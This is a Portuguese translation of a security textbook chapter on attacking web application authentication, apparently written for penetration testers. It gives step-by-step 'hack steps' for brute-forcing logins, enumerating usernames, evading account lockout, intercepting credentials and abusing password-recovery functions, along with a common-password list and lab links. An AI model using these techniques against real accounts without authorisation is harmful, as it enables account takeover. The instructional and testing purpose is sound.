Muitas das vulnerabilidades de autenticação mais comuns são óbvias. Qualquer pessoa pode digitar palavras de dicionário em um formulário de login na tentativa de adivinhar senhas válidas. Em outros casos, defeitos sutis podem estar ocultos no processamento do aplicativo, que só podem ser descobertos e explorados após uma análise minuciosa de um mecanismo de login complexo de vários estágios. Descreveremos o espectro completo desses ataques, incluindo técnicas que conseguiram quebrar a autenticação de alguns dos aplicativos da Web mais críticos em termos de segurança e mais bem defendidos do planeta.

Tecnologias de autenticação

Uma ampla gama de tecnologias está disponível para os desenvolvedores de aplicativos da Web ao implementar mecanismos de autenticação:

- Autenticação baseada em formulários HTML
- Mecanismos multifatoriais, como os que combinam senhas e tokens físicos
- Certificados SSL e/ou smartcards do cliente
- Autenticação básica e digest do HTTP
- Autenticação integrada ao Windows usando NTLM ou Kerberos
- Serviços de autenticação

De longe, o mecanismo de autenticação mais comum empregado por aplicativos da Web usa formulários HTML para capturar um nome de usuário e uma senha e enviá-los ao aplicativo. Esse mecanismo é responsável por bem mais de 90% dos aplicativos que você provavelmente encontrará na Internet.

Em aplicativos de Internet mais críticos para a segurança, como bancos on-line, esse mecanismo básico costuma ser expandido em vários estágios, exigindo que o usuário envie credenciais adicionais, como um PIN ou caracteres selecionados de uma palavra secreta. Normalmente, os formulários HTML ainda são usados para capturar dados relevantes.

Nos aplicativos mais críticos para a segurança, como bancos privados para pessoas de alto patrimônio, é comum encontrar mecanismos multifator usando tokens físicos. Em geral, esses tokens produzem um fluxo de senhas de uso único ou executam uma função de desafio-resposta com base na entrada especificada pelo aplicativo. Como o custo dessa tecnologia diminui com o tempo, é provável que mais aplicativos utilizem esse tipo de mecanismo. No entanto, muitas dessas soluções não abordam de fato as ameaças para as quais foram criadas, principalmente ataques de phishing e aqueles que empregam cavalos de Troia no lado do cliente.

Alguns aplicativos da Web empregam certificados SSL no lado do cliente ou mecanismos criptográficos implementados em smartcards. Devido à sobrecarga de administração e distribuição desses itens, eles normalmente são usados somente em aplicações críticas de segurança.

contextos em que a base de usuários de um aplicativo é pequena, como VPNs baseadas na Web para funcionários de escritórios remotos.

Os mecanismos de autenticação baseados em HTTP (básico, digest e integrado ao Windows) raramente são usados na Internet. Eles são muito mais comuns em ambientes de intranet, onde os usuários internos de uma organização obtêm acesso a aplicativos corporativos fornecendo suas credenciais normais de rede ou domínio. Em seguida, o aplicativo processa essas credenciais usando uma dessas tecnologias.

Serviços de autenticação de terceiros, como o Microsoft Passport, são encontrados ocasionalmente, mas até o momento não foram adotados em uma escala significativa.

A maioria das vulnerabilidades e dos ataques que surgem em relação à autenticação pode ser aplicada a qualquer uma das tecnologias mencionadas. Devido à predominância esmagadora da autenticação baseada em formulários HTML, descreveremos cada vulnerabilidade e ataque específico nesse contexto. Quando for relevante, apontaremos as diferenças específicas e as metodologias de ataque que são relevantes para as outras tecnologias disponíveis.

Falhas de projeto em mecanismos de autenticação

A funcionalidade de autenticação está sujeita a mais pontos fracos de design do que qualquer outro mecanismo de segurança comumente empregado em aplicativos da Web. Mesmo no modelo padrão, aparentemente simples, em que um aplicativo autentica os usuários com base em seu nome de usuário e senha, as deficiências no design desse modelo podem deixar o aplicativo altamente vulnerável ao acesso não autorizado.

Senhas ruins

Muitos aplicativos da Web não empregam nenhum controle ou empregam controles mínimos sobre a qualidade das senhas dos usuários. É comum encontrar aplicativos que permitem senhas que são:

- Muito curto ou em branco
- Palavras ou nomes comuns do dicionário
- O mesmo que o nome de usuário
- Ainda definido como um valor padrão

A Figura 6-1 mostra um exemplo de regras de qualidade de senha fracas. Em geral, os usuários finais demonstram pouca consciência das questões de segurança. Portanto, é muito provável que um aplicativo que não impõe padrões de senhas fortes contenha um grande número de contas de usuário com senhas fracas definidas. Um invasor pode adivinhar facilmente as senhas dessas contas, concedendo-lhe acesso não autorizado ao aplicativo.

Figura 6-1: Um aplicativo que impõe regras de qualidade de senhas fracas

ETAPAS DO HACK

Tente descobrir quaisquer regras relacionadas à qualidade da senha:

1. Consulte o site para obter uma descrição das regras.
2. Se o autorregistro for possível, tente registrar várias contas com diferentes tipos de senhas fracas para descobrir quais regras estão em vigor.
3. Se você controlar uma única conta e a alteração da senha for possível, tente alterar sua senha para vários valores fracos.

OBSERVAÇÃO Se as regras de qualidade de senha forem aplicadas somente por meio de controles no lado do cliente, isso não é um problema de segurança, pois os usuários comuns ainda estarão protegidos. Normalmente, não é uma ameaça à segurança de um aplicativo o fato de um invasor astuto poder atribuir a si mesmo uma senha fraca.

EXPERIMENTE!

`http://mdsec.net/auth/217/`

Login à força bruta

A funcionalidade de login é um convite aberto para que um invasor tente adivinhar nomes de usuário e senhas e, portanto, obtenha acesso não autorizado ao aplicativo. Se o aplicativo permitir que um invasor faça repetidas tentativas de login

com senhas diferentes até adivinhar a correta, é altamente vulnerável até mesmo a um invasor amador que insere manualmente alguns nomes de usuário e senhas comuns em seu navegador.

Os recentes comprometimentos de sites de alto perfil forneceram acesso a centenas de milhares de senhas do mundo real que foram armazenadas em texto não criptografado ou usando hashes de força bruta. Aqui estão as senhas mais populares do mundo real:

- `senha`
- *`Nome do site`*
- `12345678`
- `qwerty`
- `abc123`
- `111111`
- `macaco`
- `12345`
- `letmein`

OBSERVAÇÃO As senhas administrativas podem, de fato, ser mais fracas do que a política de senhas permite. Elas podem ter sido definidas antes de a política estar em vigor ou podem ter sido configuradas por meio de um aplicativo ou interface diferente.

Nessa situação, qualquer invasor sério usará técnicas automatizadas para tentar adivinhar as senhas, com base em longas listas de valores comuns. Considerando a largura de banda e os recursos de processamento atuais, é possível fazer milhares de tentativas de login por minuto em um PC padrão e em uma conexão DSL. Mesmo as senhas mais robustas acabarão sendo quebradas nesse cenário.

Várias técnicas e ferramentas para usar a automação dessa forma são descritas em detalhes no Capítulo 14. A Figura 6-2 mostra um ataque bem-sucedido de adivinhação de senha contra uma única conta usando o Burp Intruder. A tentativa de login bem-sucedida pode ser claramente distinguida pela diferença no código de resposta HTTP, pelo comprimento da resposta e pela ausência da mensagem "login incorreto".

Em alguns aplicativos, os controles no lado do cliente são empregados na tentativa de evitar ataques de adivinhação de senha. Por exemplo, um aplicativo pode definir um cookie `como failedlogins=1` e incrementá-lo após cada tentativa malsucedida de `login`. Quando um determinado limite é atingido, o servidor detecta esse fato no cookie enviado e se recusa a processar a tentativa de login. Esse tipo de defesa no lado do cliente pode impedir que um ataque manual seja iniciado usando apenas um navegador, mas pode, é claro, ser facilmente contornado, conforme descrito no Capítulo 5.

Figura 6-2: Um ataque bem-sucedido de adivinhação de senha

Uma variação da vulnerabilidade anterior ocorre quando o contador de login com falha é mantido na sessão atual. Embora possa não haver nenhuma indicação disso no lado do cliente, tudo o que o invasor precisa fazer é obter uma nova sessão (por exemplo, retendo seu cookie de sessão) e ele poderá continuar seu ataque de adivinhação de senha.

Por fim, em alguns casos, o aplicativo bloqueia uma conta-alvo após um número adequado de logins com falha. No entanto, ele responde a tentativas de login adicionais com mensagens que indicam (ou permitem que um invasor deduza) se a senha fornecida estava correta. Isso significa que um invasor pode concluir seu ataque de adivinhação de senha mesmo que a conta alvo esteja bloqueada. Se o aplicativo desbloquear automaticamente as contas após um determinado atraso, o invasor simplesmente precisará esperar que isso ocorra e, em seguida, fazer login normalmente com a senha descoberta.

ETAPAS DO HACK

1. Envie manualmente várias tentativas de login incorreto para uma conta que você controla, monitorando as mensagens de erro recebidas.
2. Após cerca de 10 logins com falha, se o aplicativo não tiver retornado uma mensagem sobre bloqueio de conta, tente fazer o login corretamente. Se isso for bem-sucedido, provavelmente não há política de bloqueio de conta.

3. Se a conta estiver bloqueada, tente repetir o exercício usando uma conta diferente. Dessa vez, se o aplicativo emitir algum cookie, use cada cookie para apenas uma tentativa de login e obtenha um novo cookie para cada tentativa de login subsequente.
4. Além disso, se a conta estiver bloqueada, verifique se o envio da senha válida causa alguma diferença no comportamento do aplicativo em comparação com uma senha inválida. Se for esse o caso, você poderá continuar um ataque de adivinhação de senha mesmo que a conta esteja bloqueada.
5. Se você não controlar nenhuma conta, tente enumerar um nome de usuário válido (consulte a próxima seção) e faça vários logins incorretos usando esse nome. Monitore se há mensagens de erro sobre bloqueio de conta.
6. Para montar um ataque de força bruta, primeiro identifique uma diferença no comportamento do aplicativo em resposta a logins bem-sucedidos e fracassados. Você pode usar esse fato para distinguir entre sucesso e falha durante o curso do ataque automatizado.
7. Obtenha uma lista de nomes de usuário enumerados ou comuns e uma lista de senhas comuns. Use as informações obtidas sobre as regras de qualidade de senhas para adaptar a lista de senhas de modo a evitar casos de teste supérfluos.
8. Use uma ferramenta adequada ou um script personalizado para gerar rapidamente solicitações de login usando todas as permutações desses nomes de usuário e senhas. Monitoramento
as respostas do servidor para identificar tentativas de login bem-sucedidas. O Capítulo 14 descreve em detalhes várias técnicas e ferramentas para realizar ataques personalizados usando automação.
9. Se estiver visando a vários nomes de usuário de uma só vez, geralmente é preferível realizar esse tipo de ataque de força bruta de forma ampla (breadth-first) em vez de profunda (depth-first). Isso envolve a iteração por uma lista de senhas (começando com a mais comum) e a tentativa de cada senha em cada nome de usuário. Essa abordagem tem duas vantagens. Primeiro, você descobre contas com senhas comuns mais rapidamente. Em segundo lugar, é menos provável que você acione qualquer defesa de bloqueio de conta, pois há um atraso de tempo entre as tentativas sucessivas usando cada conta individual.

EXPERIMENTE!

http://mdsec.net/auth/16/

http://mdsec.net/auth/32/

http://mdsec.net/auth/46/

http://mdsec.net/auth/49/

Mensagens de falha detalhadas

Um formulário de login típico exige que o usuário insira duas informações: um nome de usuário e uma senha. Alguns aplicativos exigem várias outras informações, como data de nascimento, um local de fácil memorização ou um PIN.

Quando uma tentativa de login falha, é claro que você pode inferir que pelo menos uma informação estava incorreta. Entretanto, se o aplicativo informar qual informação era inválida, você poderá explorar esse comportamento para diminuir consideravelmente a eficácia do mecanismo de login.

No caso mais simples, em que um login exige um nome de usuário e uma senha, um aplicativo pode responder a uma tentativa de login com falha indicando se o motivo da falha foi um nome de usuário não reconhecido ou uma senha errada, conforme ilustrado na Figura 6-3.

Figura 6-3: Mensagens verbais de falha de login indicando quando um nome de usuário válido foi adivinhado

Nesse caso, você pode usar um ataque automatizado para iterar uma grande lista de nomes de usuários comuns para enumerar quais são válidos. Obviamente, os nomes de usuário normalmente não são considerados secretos (não são mascarados durante o login, por exemplo). No entanto, fornecer um meio fácil para que um invasor identifique nomes de usuário válidos aumenta a probabilidade de que ele comprometa o aplicativo se tiver tempo, habilidade e esforço suficientes. Uma lista de nomes de usuário enumerados pode ser usada como base para vários ataques subsequentes, incluindo adivinhação de senhas, ataques a dados ou sessões de usuários ou engenharia social.

Além da função principal de login, a enumeração do nome de usuário pode surgir em outros componentes do mecanismo de autenticação. Em princípio, qualquer função em que um nome de usuário real ou potencial seja enviado pode ser aproveitada para essa finalidade. Um local em que a enumeração de nome de usuário é comumente encontrada é a função de registro de usuário. Se o aplicativo permitir que novos usuários se registrem e especifiquem seus próprios nomes de usuário, a enumeração de nomes de usuário é praticamente impossível de ser evitada se o aplicativo quiser impedir o registro de nomes de usuário duplicados. Outros locais onde a enumeração de nomes de usuário pode ser encontrada

são as funções de alteração de senha e de senha esquecida, conforme descrito mais adiante neste capítulo.

OBSERVAÇÃO Muitos mecanismos de autenticação divulgam os nomes de usuário de forma implícita ou explícita. Em uma conta de e-mail da Web, o nome de usuário geralmente é o endereço de e-mail, que é de conhecimento geral. Muitos outros sites expõem nomes de usuário dentro do aplicativo sem considerar a vantagem que isso concede a um invasor, ou geram nomes de usuário de uma forma que pode ser prevista (por exemplo, user1842, user1843 e assim por diante).

Em mecanismos de login mais complexos, em que um aplicativo exige que o usuário envie várias informações ou passe por vários estágios, mensagens de falha detalhadas ou outros discriminadores podem permitir que um invasor atinja cada estágio do processo de login, aumentando a probabilidade de obter acesso não autorizado.

OBSERVAÇÃO Essa vulnerabilidade pode surgir de maneiras mais sutis do que as ilustradas aqui. Mesmo que as mensagens de erro retornadas em resposta a um nome de usuário válido e inválido sejam superficialmente semelhantes, pode haver pequenas diferenças entre elas que podem ser usadas para enumerar nomes de usuário válidos. Por exemplo, se vários caminhos de código dentro do aplicativo retornarem a "mesma" mensagem de falha, pode haver pequenas diferenças tipográficas entre cada instância da mensagem. Em alguns casos, as respostas do aplicativo podem ser idênticas na tela, mas conter diferenças sutis ocultas na fonte HTML, como comentários ou diferenças de layout. Se não houver nenhum meio óbvio de enumerar nomes de usuário, faça uma comparação cuidadosa das respostas do aplicativo para nomes de usuário válidos e inválidos.

Você pode usar a ferramenta Comparer do Burp Suite para analisar e destacar automaticamente as diferenças entre duas respostas de aplicativos, conforme mostrado na Figura 6-4. Isso o ajuda a identificar rapidamente se a validade do nome de usuário resulta em alguma diferença sistemática nas respostas do aplicativo.

Figura 6-4: Identificação de diferenças sutis nas respostas do aplicativo usando o comparador de burp

ETAPAS DO HACK

1. Se você já souber um nome de usuário válido (por exemplo, uma conta que você controla), envie um login usando esse nome de usuário e uma senha incorreta e outro login usando um nome de usuário aleatório.
2. Registre todos os detalhes das respostas do servidor a cada tentativa de login, inclusive o código de status, quaisquer redirecionamentos, informações exibidas na tela e quaisquer diferenças ocultas na fonte da página HTML. Use seu proxy de interceptação para manter um histórico completo de todo o tráfego de e para o servidor.
3. Tente descobrir quaisquer diferenças óbvias ou sutis nas respostas do servidor às duas tentativas de login.
4. Se isso falhar, repita o exercício em todos os locais do aplicativo em que um nome de usuário possa ser enviado (por exemplo, autorregistro, alteração de senha e senha esquecida).
5. Se for detectada uma diferença nas respostas do servidor para nomes de usuário válidos e inválidos, obtenha uma lista de nomes de usuário comuns. Use um script personalizado ou uma ferramenta automatizada para enviar rapidamente cada nome de usuário e filtrar as respostas que indicam que o nome de usuário é válido (consulte o Capítulo 14).
6. Antes de iniciar o exercício de enumeração, verifique se o aplicativo realiza algum bloqueio de conta após um determinado número de tentativas de login com falha (consulte a seção anterior). Em caso afirmativo, é desejável projetar seu ataque de enumeração com esse fato em mente. Por exemplo, se o aplicativo conceder apenas três tentativas de login com falha com uma determinada conta, você corre o risco de "desperdiçar" uma delas para cada nome de usuário que descobrir por meio da enumeração automatizada. Portanto, ao realizar seu ataque de enumeração, não envie uma senha rebuscada a cada tentativa de login. Em vez disso, envie uma única senha comum, como ***pass word1***, ou o próprio nome de usuário como senha. Se as regras de qualidade da senha forem fracas, é muito provável que algumas das tentativas de login realizadas como parte do exercício de enumeração sejam bem-sucedidas e revelem o nome de usuário e a senha em uma única tentativa. Para configurar o campo de senha para ser igual ao nome de usuário, você pode usar o modo de ataque "aríete" no Burp Intruder para inserir a mesma carga útil em várias posições na sua solicitação de login.

Mesmo que as respostas de um aplicativo às tentativas de login contendo nomes de usuário válidos e inválidos sejam idênticas em todos os aspectos intrínsecos, ainda assim pode ser possível enumerar os nomes de usuário com base no tempo que o aplicativo leva para responder à solicitação de login. Os aplicativos geralmente executam processos de back-end muito diferentes em uma solicitação de login, dependendo se ela contém um nome de usuário válido. Por exemplo, quando um nome de usuário válido é enviado, o aplicativo pode recuperar os detalhes do usuário de um banco de dados de back-end, executar vários processamentos sobre esses detalhes e, em seguida, fazer o login.

detalhes (por exemplo, verificar se a conta expirou) e, em seguida, validar a senha (o que pode envolver um algoritmo de hash que consome muitos recursos) antes de retornar uma mensagem genérica se a senha estiver incorreta. A diferença de tempo entre as duas respostas pode ser muito sutil para ser detectada quando se trabalha apenas com um navegador, mas uma ferramenta automatizada pode ser capaz de discriminar entre elas. Mesmo que os resultados desse exercício contenham uma grande proporção de falsos positivos, ainda é melhor ter uma lista de 100 nomes de usuário, dos quais aproximadamente 50% são válidos, do que uma lista de 10.000 nomes de usuário, dos quais aproximadamente 0,5% são válidos. Consulte o Capítulo 15 para obter uma explicação detalhada de como detectar e explorar esse tipo de diferença de tempo para extrair informações do aplicativo.

DICA Além da própria funcionalidade de login, pode haver outras fontes de informação nas quais você pode obter nomes de usuário válidos. Analise todos os comentários do código-fonte descobertos durante o mapeamento do aplicativo (consulte o Capítulo 4) para identificar quaisquer nomes de usuário aparentes. Todos os endereços de e-mail de desenvolvedores ou de outros funcionários da organização podem ser nomes de usuário válidos, seja na íntegra ou apenas com o prefixo específico do usuário. Qualquer funcionalidade de registro acessível pode revelar nomes de usuário.

EXPERIMENTE!

```
http://mdsec.net/auth/53/
http://mdsec.net/auth/59/
http://mdsec.net/auth/70/
http://mdsec.net/auth/81/
http://mdsec.net/auth/167/
```

Transmissão vulnerável de credenciais

Se um aplicativo usar uma conexão HTTP não criptografada para transmitir credenciais de login, um espião que esteja adequadamente posicionado na rede poderá, é claro, interceptá-las. Dependendo da localização do usuário, os possíveis bisbilhoteiros podem residir:

- Na rede local do usuário
- No departamento de TI do usuário
- No ISP do usuário
- No backbone da Internet
- No ISP que hospeda o aplicativo
- No departamento de TI que gerencia o aplicativo

OBSERVAÇÃO Qualquer um desses locais pode ser ocupado por pessoal autorizado, mas também pode ser ocupado por um invasor externo que tenha comprometido a infraestrutura relevante por algum outro meio. Mesmo que se acredite que os intermediários em uma determinada rede sejam confiáveis, é mais seguro usar mecanismos de transporte seguro ao passar dados confidenciais por ela.

Mesmo que o login ocorra por HTTPS, as credenciais ainda poderão ser divulgadas a terceiros não autorizados se o aplicativo as manipular de maneira insegura:

- Se as credenciais forem transmitidas como parâmetros de string de consulta, em vez de no corpo de uma solicitação `POST`, elas poderão ser registradas em vários locais, como no histórico do navegador do usuário, nos logs do servidor da Web e nos logs de quaisquer proxies reversos empregados na infraestrutura de hospedagem. Se um invasor conseguir comprometer qualquer um desses recursos, ele poderá aumentar os privilégios capturando as credenciais de usuário armazenadas ali.
- Embora a maioria dos aplicativos da Web use o corpo de uma solicitação `POST` para enviar o próprio formulário de login em HTML, é surpreendentemente comum ver a solicitação de login sendo tratada por meio de um redirecionamento para um URL diferente com as mesmas credenciais passadas como parâmetros de string de consulta. Não se sabe ao certo por que os desenvolvedores de aplicativos consideram necessário realizar esses bounces, mas, se optarem por fazê-lo, é mais fácil implementá-los como redirecionamentos 302 para um URL do que como solicitações `POST` usando um segundo formulário HTML enviado via JavaScript.
- Às vezes, os aplicativos da Web armazenam credenciais de usuário em cookies, geralmente para implementar mecanismos mal projetados de login, alteração de senha, "lembre-se de mim" e assim por diante. Essas credenciais são vulneráveis à captura por meio de ataques que comprometem os cookies do usuário e, no caso de cookies persistentes, por qualquer pessoa que obtenha acesso ao sistema de arquivos local do cliente. Mesmo que as credenciais sejam criptografadas, um invasor ainda pode simplesmente reproduzir o cookie e, portanto, fazer login como um usuário sem realmente conhecer suas credenciais. Os Capítulos 12 e 13 descrevem várias maneiras pelas quais um invasor pode atacar outros usuários para capturar seus cookies.

Muitos aplicativos usam HTTP para áreas não autenticadas do aplicativo e mudam para HTTPS no momento do login. Se esse for o caso, o local correto para alternar para HTTPS é quando a página de login é carregada no navegador, permitindo que o usuário verifique se a página é autêntica antes de inserir as credenciais. No entanto, é comum encontrar aplicativos que carregam a própria página de login usando HTTP e depois mudam para HTTPS no momento em que as credenciais são enviadas. Isso não é seguro, pois o usuário não pode verificar a autenticidade da própria página de login e, portanto, não tem garantia de que as credenciais serão enviadas com segurança. Um invasor adequadamente posicionado pode interceptar e modificar a página de login, alterando o URL de destino do formulário de login para usar HTTP. Quando um usuário astuto

perceber que as credenciais foram enviadas usando HTTP, elas já terão sido comprometidas.

ETAPAS DO HACK

1. Realize um login bem-sucedido enquanto monitora todo o tráfego em ambas as direções entre o cliente e o servidor.
2. Identifique todos os casos em que as credenciais são transmitidas em qualquer direção. Você pode definir regras de interceptação em seu proxy de interceptação para sinalizar mensagens que contenham cadeias de caracteres específicas (consulte o Capítulo 20).
3. Se forem encontradas instâncias em que as credenciais são enviadas em uma string de consulta de URL ou como cookie, ou são transmitidas de volta do servidor para o cliente, entenda o que está acontecendo e tente verificar qual finalidade os desenvolvedores de aplicativos estavam tentando alcançar. Tente encontrar todos os meios pelos quais um invasor possa interferir na lógica do aplicativo para comprometer as credenciais de outros usuários.
4. Se alguma informação confidencial for transmitida por um canal não criptografado, ela estará, obviamente, vulnerável à interceptação.
5. Se nenhum caso de transmissão insegura de credenciais reais for identificado, preste muita atenção a todos os dados que parecem estar codificados ou ofuscados. Se isso incluir dados confidenciais, pode ser possível fazer engenharia reversa do algoritmo de ofuscação.
6. Se as credenciais forem enviadas usando HTTPS, mas o formulário de login for carregado usando HTTP, o aplicativo estará vulnerável a um ataque man-in-the-middle, que pode ser usado para capturar credenciais.

EXPERIMENTE!

```
http://mdsec.net/auth/88/
http://mdsec.net/auth/90/
http://mdsec.net/auth/97/
```

Funcionalidade de alteração de senha

Surpreendentemente, muitos aplicativos da Web não oferecem nenhuma maneira de os usuários alterarem suas senhas. No entanto, essa funcionalidade é necessária para um mecanismo de autenticação bem projetado por dois motivos:

- A alteração periódica e obrigatória da senha atenua a ameaça da promessa de senha. Ela reduz a janela na qual uma determinada senha pode ser alvo de um ataque de adivinhação. Também reduz a janela na qual uma senha comprometida pode ser usada sem ser detectada pelo invasor.
- Os usuários que suspeitam que suas senhas podem ter sido comprometidas precisam ser capazes de alterar rapidamente suas senhas para reduzir a ameaça de uso não autorizado.

Embora seja uma parte necessária de um mecanismo de autenticação eficaz, a funcionalidade de alteração de senha geralmente é vulnerável por design. As vulnerabilidades que são deliberadamente evitadas na função principal de login geralmente reaparecem na função de alteração de senha. Muitas funções de alteração de senha de aplicativos da Web são acessíveis sem autenticação e fazem o seguinte:

- Fornece uma mensagem de erro detalhada indicando se o nome de usuário solicitado é válido.
- Permitir adivinhações irrestritas do campo "senha existente".
- Verifique se os campos "nova senha" e "confirmar nova senha" têm o mesmo valor somente após a validação da senha existente, permitindo assim que um ataque consiga descobrir a senha existente de forma não invasiva.

Uma função típica de alteração de senha inclui uma árvore de decisão lógica relativamente grande. O aplicativo precisa identificar o usuário, validar a senha existente fornecida, integrar-se a qualquer defesa de bloqueio de conta, comparar as novas senhas fornecidas entre si e com as regras de qualidade de senha e informar ao usuário qualquer condição de erro de forma adequada. Por esse motivo, as funções de alteração de senha geralmente contêm falhas lógicas sutis que podem ser exploradas para subverter todo o mecanismo.

ETAPAS DO HACK

1. Identifique qualquer funcionalidade de alteração de senha no aplicativo. Se ela não estiver explicitamente vinculada ao conteúdo publicado, ainda assim poderá ser implementada. O Capítulo 4 descreve várias técnicas para descobrir conteúdo oculto em um aplicativo.
2. Faça várias solicitações à função de alteração de senha usando nomes de usuário inválidos, senhas existentes inválidas e valores incompatíveis de "nova senha" e "confirmar nova senha".
3. Tente identificar qualquer comportamento que possa ser usado para enumeração de nomes de usuário ou ataques de força bruta (conforme descrito nas seções "Login forçado por força bruta" e "Mensagens de falha detalhadas").

DICA Se o formulário de alteração de senha for acessível somente por usuários autenticados e não contiver um campo de nome de usuário, ainda assim será possível fornecer um nome de usuário arbitrário. O formulário pode armazenar o nome de usuário em um campo oculto, que pode ser facilmente modificado. Caso contrário, tente fornecer um parâmetro adicional que contenha o nome de usuário, usando o mesmo nome de parâmetro usado no formulário de login principal. Às vezes, esse truque consegue substituir o nome de usuário do usuário atual, permitindo que você force as credenciais de outros usuários, mesmo quando isso não for possível no login principal.

EXPERIMENTE!

```
http://mdsec.net/auth/104/
http://mdsec.net/auth/117/
http://mdsec.net/auth/120/
http://mdsec.net/auth/125/
http://mdsec.net/auth/129/
http://mdsec.net/auth/135/
```

Funcionalidade de senha esquecida

Assim como a funcionalidade de alteração de senha, os mecanismos de recuperação de uma situação de esquecimento de senha geralmente introduzem problemas que podem ter sido evitados na função principal de login, como a enumeração do nome de usuário.

Além dessa variedade de defeitos, os pontos fracos de design nas funções de senha esquecidas frequentemente fazem desse o elo mais fraco para atacar a lógica geral de autenticação do aplicativo. É comum encontrar vários tipos de pontos fracos de design:

- A funcionalidade de senha esquecida geralmente envolve a apresentação ao usuário de um desafio secundário no lugar do login principal, conforme mostrado na Figura 6-5. Esse desafio costuma ser muito mais fácil de ser respondido por um invasor do que a tentativa de adivinhar a senha do usuário. As perguntas sobre o nome de solteira da mãe, datas memoráveis, cores favoritas e coisas do gênero geralmente têm um conjunto muito menor de possíveis respostas do que o conjunto de possíveis senhas. Além disso, elas geralmente se referem a informações que são de conhecimento público ou que um determinado invasor pode descobrir com um grau modesto de esforço.

Figura 6-5: Um desafio secundário usado em uma função de recuperação de conta

Em muitos casos, o aplicativo permite que os usuários definam seu próprio desafio e resposta de recuperação de senha durante o registro. Os usuários estão inclinados a

para definir desafios extremamente inseguros, presumivelmente com a falsa suposição de que somente eles serão apresentados a eles. Um exemplo é "Eu tenho um barco?". Nessa situação, um invasor que deseja obter acesso pode usar um ataque automatizado para percorrer uma lista de nomes de usuário enumerados ou comuns, registrar todos os desafios de recuperação de senha e selecionar aqueles que parecem mais fáceis de adivinhar. (Consulte o Capítulo 14 para obter técnicas sobre como obter esse tipo de dados em um ataque com script).

- Assim como ocorre com a funcionalidade de alteração de senha, os desenvolvedores de aplicativos geralmente ignoram a possibilidade de força bruta na resposta a um desafio de recuperação de senha, mesmo quando bloqueiam esse ataque na página principal de login. Se um aplicativo permitir tentativas irrestritas de responder a desafios de recuperação de senha, é muito provável que ele seja comprometido por um invasor determinado.
- Em alguns aplicativos, o desafio de recuperação é substituído por uma simples "dica" de senha que é configurada pelos usuários durante o registro. Os usuários geralmente definem dicas extremamente óbvias, talvez até mesmo uma que seja idêntica à própria senha, com a falsa suposição de que somente eles poderão vê-las. Novamente, um invasor com uma lista de nomes de usuário comuns ou enumerados pode facilmente capturar um grande número de dicas de senha e começar a adivinhar.
- O mecanismo pelo qual um aplicativo permite que os usuários recuperem o controle de suas contas após responderem corretamente a um desafio costuma ser vulnerável. Um meio razoavelmente seguro de implementar isso é enviar um URL de recuperação exclusivo, indecifrável e com tempo limitado para o endereço de e-mail que o usuário forneceu durante o registro. Ao visitar esse URL dentro de alguns minutos, o usuário pode definir uma nova senha. No entanto, é comum encontrar outros mecanismos de recuperação de conta que são inseguros por design:
  - Alguns aplicativos divulgam a senha esquecida existente para o usuário após a conclusão bem-sucedida de um desafio, permitindo que um invasor use a conta indefinidamente sem nenhum risco de detecção pelo proprietário. Mesmo que o proprietário da conta altere posteriormente a senha esquecida, o invasor pode simplesmente repetir o mesmo desafio para obter a nova senha.
  - Alguns aplicativos colocam o usuário imediatamente em uma sessão autenticada após a conclusão bem-sucedida de um desafio, permitindo novamente que um invasor use a conta indefinidamente sem ser detectado e sem precisar saber a senha do usuário.
  - Alguns aplicativos empregam o mecanismo de envio de um URL de recuperação exclusivo, mas o enviam para um endereço de e-mail especificado pelo usuário no momento em que o desafio é concluído. Isso não oferece absolutamente nenhuma segurança aprimorada para o

processo de recuperação, além de possivelmente registrar o endereço de e-mail usado por um invasor.

DICA Mesmo que o aplicativo não forneça um campo na tela para que você forneça um endereço de e-mail para receber o URL de recuperação, o aplicativo poderá transmitir o endereço por meio de um campo de formulário ou cookie oculto. Isso representa uma oportunidade dupla: você pode descobrir o endereço de e-mail do usuário que você comprometeu e pode modificar seu valor para receber o URL de recuperação em um endereço de sua escolha.

- Alguns aplicativos permitem que os usuários redefinam o valor da senha diretamente após a conclusão bem-sucedida de um desafio e não enviam nenhuma notificação por e-mail ao usuário. Isso significa que o comprometimento de uma conta por um invasor não será percebido até que o proprietário tente fazer login novamente. Isso pode até passar despercebido se o proprietário presumir que deve ter esquecido sua senha e, portanto, redefini-la da mesma forma. Um invasor que simplesmente deseja *ter* acesso ao aplicativo pode comprometer a conta de um usuário diferente por um período de tempo e, portanto, continuar usando o aplicativo indefinidamente.

ETAPAS DO HACK

1. Identifique qualquer funcionalidade de senha esquecida no aplicativo. Se ela não estiver explicitamente vinculada ao conteúdo publicado, ainda assim poderá ser implementada (consulte o Capítulo 4).
2. Entenda como funciona a função de senha esquecida fazendo um passo a passo completo usando uma conta que você controla.
3. Se o mecanismo usar um desafio, determine se os usuários podem definir ou selecionar seu próprio desafio e resposta. Em caso afirmativo, use uma lista de nomes de usuário enumerados ou comuns para coletar uma lista de desafios e verifique se há algum que pareça fácil de adivinhar.
4. Se o mecanismo usar uma "dica" de senha, faça o mesmo exercício para coletar uma lista de dicas de senha e escolha qualquer uma que seja fácil de adivinhar.
5. Tente identificar qualquer comportamento no mecanismo de senha esquecida que possa ser explorado como base para enumeração de nome de usuário ou ataques de força bruta (consulte os detalhes anteriores).
6. Se o aplicativo gerar um e-mail contendo um URL de recuperação em resposta a uma solicitação de senha esquecida, obtenha vários desses URLs e tente identificar padrões que permitam prever os URLs emitidos para outros usuários. Empregue as mesmas técnicas relevantes para analisar os tokens de sessão quanto à previsibilidade (consulte o Capítulo 7).

EXPERIMENTE!

```
http://mdsec.net/auth/142/
http://mdsec.net/auth/145/
http://mdsec.net/auth/151/
```

Funcionalidade "Lembrar-me"

Os aplicativos geralmente implementam funções do tipo "lembrar de mim" como uma conveniência para os usuários. Dessa forma, os usuários não precisam digitar novamente o nome de usuário e a senha sempre que usarem o aplicativo em um computador específico. Essas funções geralmente são inseguras por design e deixam o usuário exposto a ataques locais e de usuários em *outros* computadores:

- Algumas funções "remember me" são implementadas usando um cookie persistente simples, como `RememberUser=daf` (consulte a Figura 6-6). Quando esse cookie é enviado para a página inicial do aplicativo, o aplicativo confia no cookie para autenticar o usuário e cria uma sessão do aplicativo para essa pessoa, ignorando o login. Um invasor pode usar uma lista de nomes de usuário comuns ou enumerados para obter acesso total ao aplicativo sem nenhuma autenticação.

Figura 6-6: Uma função "remember me" vulnerável, que faz login automaticamente em um usuário com base apenas em um nome de usuário armazenado em um cookie

